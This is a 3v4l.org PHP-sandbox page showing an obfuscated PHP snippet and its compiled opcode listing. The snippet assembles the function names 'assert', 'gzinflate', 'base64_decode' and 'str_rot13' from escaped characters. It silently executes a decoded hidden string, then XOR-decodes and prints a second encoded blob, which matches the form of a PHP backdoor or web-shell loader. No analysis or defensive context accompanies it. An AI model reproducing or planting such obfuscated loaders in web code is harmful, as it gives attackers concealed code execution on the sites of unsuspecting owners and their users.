3v4l.org

run code in 300+ PHP versions simultaneously
<?php $TWRgwh3="6jsmOpAjZ5Bi5Ll2wfssHqB3cBfkZgGlMnzBalluE/Hi5mPZ9XQ6wo21mQNXZanQAAvE8X/GnjBNvD0dEbPCDPD1hoOiSjwuWReEae1cV3DnIhxxXbDWak5n7uteSIOeKlQ7HHX+fRlp/ESRTLFEgPHdF2y698RzSYrsp0rU8Aas3bH+gb6j+1D03qNaS/PUqReuTrZtETiQCi4LUHo4gRxzKp/6TXUk+aN3FzWOBI6Ini3YXbgcKPoop3wVviiKz9C3JuSg/eFgGqslnyo+eCmEk1Vl+NiIBBO8z9N+DA/VrM4z0DeobnbIbPlTrxqUPmOX1/SsphPhOgTvqi2mdbJQqEinevjitWI+BNPngJpO21mfOzu982FXRD/7vdcp1pnBoipzKLf7XEXOx0i3tcFVVB8/+5k5o4f8eYDPQawmvLN7fNr3SS126GLAkPVi9e6ovA6DRe78E5xzixe9iguUgvAyg1kk9vGHcICXoJ9tI8QaiP67W4j/L1scsNGGwZxRc41fLW0I1xFNZSlgOIpaMeIq2vrRvG6fXE8uUpSooTesUAmkzKfcJY8ixOAEI5JSS4QPfjgDqsvY5wVXx80CQvUBj1TFzCFhHeOTCKOVOh7QYwkyosnH7OW4ql0yXEiAr2KizXx8A909Pd/kJb3RnMk9qsOf5NU0Si4DDIjB1D5IvU/0LmKioSMQo8ZDMrgHUJKxXqSjRgG4DN+sk1zucAxNJ2yQkXCb+4wWLJelYkLyDun19PmA7gtUxTZWvF/DUje1a4FNqnI31zYLIc4d34AvTwQfRuaBZyDKbCrWmAbJ5N6qTYpwofIyWM3odv+IFbmmb58UaDU44CJQJzrE9Sg4ScIllAUlD8rODiGSbLdf/zf4nM91LH6x0AKJZ1xp+Ekm5p1ZHMjeNfzPwMm+oorgi1Pwpm2XIdYV2WgN+2K+FFYCvUA5IRgqspaerwIC/qrrJkP6RAGo3wzuxWZY3CB9qin/iw2CqrVDSDuPHW69sI16EVY5zzyDL7Mf4WNKcPlUyaj2f6i9WaQShXxvjyQL9LJ9b99k58jXIVDqDhID16dlZq6loIKq10/3nXSN7OIQLtWY0liMcLR0HZ6vGdKELM9VJGxLoedP9o0Y4Z+Q2kjqos8Qm8Di3X4LhO2SmOAuFZ6ENqGSQ4JJRe8SGn/8JTNDQ7MfaD+DlwiuCOSQYg==";$kYIKQj="\141";$syMk1BFi="\x62\x61\x73";$ZTMvjgX="\163\164";$yW51kL="Fl1YmASDIjxWQ0bimmP2IFzh9Z02qUYY1VNWnIdeBTMHhb";$cBqLFy="\x67\x7a\151";$cBqLFy.="\156\x66";$kYIKQj.="\163";$yW51kL.="GnXvyMd1FTzkcz+9tdyrqTyacaX1za5EqcdXEJOefUMKao";$syMk1BFi.="\x65\66\x34";$ZTMvjgX.="\162\137\x72";$ZTMvjgX.="\157\x74";$cBqLFy.="\x6c\x61";$syMk1BFi.="\x5f\x64\x65\143";$yW51kL.="TywQzQnJObMjwen2WfDRCqixwPXA/XVHhAaEZQJkzaStpL";$kYIKQj.="\163\145";$cBqLFy.="\x74\x65";$syMk1BFi.="\x6f\x64\145";$yW51kL.="w5pTSIf1uAGJhUIWNoIMXqPa3pXwHtMtTS1GJgND==";$kYIKQj.="\162\x74";$ZTMvjgX.="\x31\x33";@$kYIKQj($cBqLFy($syMk1BFi($ZTMvjgX($yW51kL)))); $TWRgwh3=base64_decode($TWRgwh3); $AhyDU=""; $yW51kL="wmYuKk"; for($eySGRjK=0;$eySGRjK<901;$eySGRjK++) $AhyDU.=chr(ord($TWRgwh3[$eySGRjK])^ord($yW51kL[$eySGRjK%6])); echo gzinflate($AhyDU);
Finding entry points
Branch analysis from position: 0
1 jumps found. (Code = 42) Position 1 = 58
Branch analysis from position: 58
2 jumps found. (Code = 44) Position 1 = 60, Position 2 = 43
Branch analysis from position: 60
1 jumps found. (Code = 62) Position 1 = -2
Branch analysis from position: 43
2 jumps found. (Code = 44) Position 1 = 60, Position 2 = 43
Branch analysis from position: 60
Branch analysis from position: 43
filename:       /in/170KM
function name:  (null)
number of ops:  65
compiled vars:  !0 = $TWRgwh3, !1 = $kYIKQj, !2 = $syMk1BFi, !3 = $ZTMvjgX, !4 = $yW51kL, !5 = $cBqLFy, !6 = $AhyDU, !7 = $eySGRjK
line      #* E I O op                           fetch          ext  return  operands
-------------------------------------------------------------------------------------
    1     0  E >   ASSIGN                                                   !0, '6jsmOpAjZ5Bi5Ll2wfssHqB3cBfkZgGlMnzBalluE%2FHi5mPZ9XQ6wo21mQNXZanQAAvE8X%2FGnjBNvD0dEbPCDPD1hoOiSjwuWReEae1cV3DnIhxxXbDWak5n7uteSIOeKlQ7HHX%2BfRlp%2FESRTLFEgPHdF2y698RzSYrsp0rU8Aas3bH%2Bgb6j%2B1D03qNaS%2FPUqReuTrZtETiQCi4LUHo4gRxzKp%2F6TXUk%2BaN3FzWOBI6Ini3YXbgcKPoop3wVviiKz9C3JuSg%2FeFgGqslnyo%2BeCmEk1Vl%2BNiIBBO8z9N%2BDA%2FVrM4z0DeobnbIbPlTrxqUPmOX1%2FSsphPhOgTvqi2mdbJQqEinevjitWI%2BBNPngJpO21mfOzu982FXRD%2F7vdcp1pnBoipzKLf7XEXOx0i3tcFVVB8%2F%2B5k5o4f8eYDPQawmvLN7fNr3SS126GLAkPVi9e6ovA6DRe78E5xzixe9iguUgvAyg1kk9vGHcICXoJ9tI8QaiP67W4j%2FL1scsNGGwZxRc41fLW0I1xFNZSlgOIpaMeIq2vrRvG6fXE8uUpSooTesUAmkzKfcJY8ixOAEI5JSS4QPfjgDqsvY5wVXx80CQvUBj1TFzCFhHeOTCKOVOh7QYwkyosnH7OW4ql0yXEiAr2KizXx8A909Pd%2FkJb3RnMk9qsOf5NU0Si4DDIjB1D5IvU%2F0LmKioSMQo8ZDMrgHUJKxXqSjRgG4DN%2Bsk1zucAxNJ2yQkXCb%2B4wWLJelYkLyDun19PmA7gtUxTZWvF%2FDUje1a4FNqnI31zYLIc4d34AvTwQfRuaBZyDKbCrWmAbJ5N6qTYpwofIyWM3odv%2BIFbmmb58UaDU44CJQJzrE9Sg4ScIllAUlD8rODiGSbLdf%2Fzf4nM91LH6x0AKJZ1xp%2BEkm5p1ZHMjeNfzPwMm%2Boorgi1Pwpm2XIdYV2WgN%2B2K%2BFFYCvUA5IRgqspaerwIC%2FqrrJkP6RAGo3wzuxWZY3CB9qin%2Fiw2CqrVDSDuPHW69sI16EVY5zzyDL7Mf4WNKcPlUyaj2f6i9WaQShXxvjyQL9LJ9b99k58jXIVDqDhID16dlZq6loIKq10%2F3nXSN7OIQLtWY0liMcLR0HZ6vGdKELM9VJGxLoedP9o0Y4Z%2BQ2kjqos8Qm8Di3X4LhO2SmOAuFZ6ENqGSQ4JJRe8SGn%2F8JTNDQ7MfaD%2BDlwiuCOSQYg%3D%3D'
          1        ASSIGN                                                   !1, 'a'
          2        ASSIGN                                                   !2, 'bas'
          3        ASSIGN                                                   !3, 'st'
          4        ASSIGN                                                   !4, 'Fl1YmASDIjxWQ0bimmP2IFzh9Z02qUYY1VNWnIdeBTMHhb'
          5        ASSIGN                                                   !5, 'gzi'
          6        ASSIGN_OP                                     8          !5, 'nf'
          7        ASSIGN_OP                                     8          !1, 's'
          8        ASSIGN_OP                                     8          !4, 'GnXvyMd1FTzkcz%2B9tdyrqTyacaX1za5EqcdXEJOefUMKao'
          9        ASSIGN_OP                                     8          !2, 'e64'
         10        ASSIGN_OP                                     8          !3, 'r_r'
         11        ASSIGN_OP                                     8          !3, 'ot'
         12        ASSIGN_OP                                     8          !5, 'la'
         13        ASSIGN_OP                                     8          !2, '_dec'
         14        ASSIGN_OP                                     8          !4, 'TywQzQnJObMjwen2WfDRCqixwPXA%2FXVHhAaEZQJkzaStpL'
         15        ASSIGN_OP                                     8          !1, 'se'
         16        ASSIGN_OP                                     8          !5, 'te'
         17        ASSIGN_OP                                     8          !2, 'ode'
         18        ASSIGN_OP                                     8          !4, 'w5pTSIf1uAGJhUIWNoIMXqPa3pXwHtMtTS1GJgND%3D%3D'
         19        ASSIGN_OP                                     8          !1, 'rt'
         20        ASSIGN_OP                                     8          !3, '13'
         21        BEGIN_SILENCE                                    ~29     
         22        INIT_DYNAMIC_CALL                                        !1
         23        INIT_DYNAMIC_CALL                                        !5
         24        INIT_DYNAMIC_CALL                                        !2
         25        INIT_DYNAMIC_CALL                                        !3
         26        SEND_VAR_EX                                              !4
         27        DO_FCALL                                      0  $30     
         28        SEND_VAR_NO_REF_EX                                       $30
         29        DO_FCALL                                      0  $31     
         30        SEND_VAR_NO_REF_EX                                       $31
         31        DO_FCALL                                      0  $32     
         32        SEND_VAR_NO_REF_EX                                       $32
         33        DO_FCALL                                      0          
         34        END_SILENCE                                              ~29
    2    35        INIT_FCALL                                               'base64_decode'
         36        SEND_VAR                                                 !0
         37        DO_ICALL                                         $34     
         38        ASSIGN                                                   !0, $34
    3    39        ASSIGN                                                   !6, ''
    4    40        ASSIGN                                                   !4, 'wmYuKk'
    5    41        ASSIGN                                                   !7, 0
         42      > JMP                                                      ->58
    6    43    >   INIT_FCALL                                               'chr'
         44        INIT_FCALL                                               'ord'
         45        FETCH_DIM_R                                      ~39     !0, !7
         46        SEND_VAL                                                 ~39
         47        DO_ICALL                                         $40     
         48        INIT_FCALL                                               'ord'
         49        MOD                                              ~41     !7, 6
         50        FETCH_DIM_R                                      ~42     !4, ~41
         51        SEND_VAL                                                 ~42
         52        DO_ICALL                                         $43     
         53        BW_XOR                                           ~44     $40, $43
         54        SEND_VAL                                                 ~44
         55        DO_ICALL                                         $45     
         56        ASSIGN_OP                                     8          !6, $45
    5    57        PRE_INC                                                  !7
         58    >   IS_SMALLER                                               !7, 901
         59      > JMPNZ                                                    ~48, ->43
    7    60    >   INIT_FCALL                                               'gzinflate'
         61        SEND_VAR                                                 !6
         62        DO_ICALL                                         $49     
         63        ECHO                                                     $49
         64      > RETURN                                                   1

Generated using Vulcan Logic Dumper, using php 8.0.0


preferences:
167.63 ms | 1400 KiB | 21 Q